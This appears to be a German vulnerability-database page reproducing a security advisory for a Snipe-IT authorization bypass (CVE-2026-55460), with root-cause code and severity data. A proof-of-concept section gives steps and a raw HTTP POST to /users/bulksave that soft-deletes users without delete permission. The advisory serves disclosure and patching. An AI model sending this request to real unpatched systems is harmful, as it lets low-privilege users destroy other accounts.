Hoch

Snipe-IT has an authorization bypass on bulk editing users

  • Veröffentlicht: 28.08.2026
  • Aktualisiert: 11.10.2026 10:22

Impact

An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.

Attacker Model

Authenticated non-admin user with:

js
{"users.view":"1","users.edit":"1"}

The attacker does not have users.delete, admin, or superuser.

Affected Component

  • routes/web/users.php

  • app/Http/Controllers/Users/BulkUsersController.php

  • Endpoint: POST /users/bulksave

Root Cause

The UI only exposes bulk delete to users with delete permission:

php
@can('delete', \App\Models\User::class)
    <option value="delete">...</option>
    <option value="merge">...</option>
@endcan

The confirmation path also checks delete:

php
} elseif ($request->input('bulk_actions') == 'delete') {
    $this->authorize('delete', User::class);

However, the destructive route is registered separately:

php
Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
    ->name('users/bulksave');

and destroy() authorizes only update:

php
public function destroy(Request $request)
{
    $this->authorize('update', User::class);

When delete_user=1 is present, the method reaches:

php
$user->delete();

Proof of Concept

  1. Create a non-admin attacker account with users.view and users.edit, but not users.delete.

  2. Create a harmless non-admin target user.

  3. Log in as the attacker and obtain a valid CSRF token.

  4. Send:

http
POST /users/bulksave HTTP/1.1
Host: <snipe-it-host>
Cookie: snipeit_session=<attacker-session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf-token>
ids[]=<target-user-id>
delete_user=1
status_id=<valid-status-id>

Observed response:

http
HTTP/1.1 302 Found
Location: http://<snipe-it-host>/users

Patches

Patched in 374f426f0c

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket snipe/snipe-it < 8.6.2 8.6.2

Verweise

CVSS-Wert 7.1/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Schwäche (CWE)
CWE-863
Plattform
Composer
Paket
snipe/snipe-it
Veröffentlicht
28.08.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-vgx7-c78r-69w9 - CC BY 4.0

Schwachstellenhistorie: snipe/snipe-it

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (81) im Archiv
Einträge insgesamt
81
Erste → letzte
10.2021 09.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 23
  • Mittel 53
  • Niedrig 4

Veröffentlichungen pro Jahr

  1. 2021: 10
  2. 2022: 20
  3. 2023: 2
  4. 2024: 3
  5. 2025: 6
  6. 2026: 40
Schweregrad:
  1. Hoch CVE-2026-63493 < 8.7.0 8.7.0
  2. Hoch · 6.5 CVE-2026-55843 < 8.6.0 8.6.0
  3. Snipe-IT has an authorization bypass on bulk editing users dieser Eintrag
    Hoch · 7.1 CVE-2026-55460 < 8.6.2 8.6.2
  4. Hoch CVE-2026-55643 < 8.6.3 8.6.3
  5. Hoch · 8.5 CVE-2026-54329 < 8.6.2 8.6.2
  6. Kritisch · 9.8 CVE-2026-37709 < 8.4.1 8.4.1
  7. Hoch · 8.8 CVE-2026-44832 < 8.4.1 8.4.1
  8. Hoch · 8.7 CVE-2024-51093 <= 7.0.13 keine Korrektur
  9. Hoch · 7.2 CVE-2024-48987 < 7.0.10 7.0.10
  10. Hoch · 8.8 CVE-2023-5511 < 6.2.3 6.2.3
  11. Hoch · 8.8 CVE-2022-23064 >= 3.0-alpha, < 5.3.8 5.3.8
  12. Hoch · 7.4 CVE-2022-1155 >= 6.0.0-RC-1, < 6.0.0-RC-6, < 5.4.2 6.0.0-RC-6, 5.4.2
  13. Hoch · 8.8 CVE-2022-0611 < 5.3.11 5.3.11
  14. Hoch · 8.8 CVE-2021-4130 < 5.3.6 5.3.6
  15. Hoch · 7.2 CVE-2021-4075 < 6.0.0-GM 6.0.0-GM
  16. Hoch · 8.0 CVE-2021-3961 < 5.3.2 5.3.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.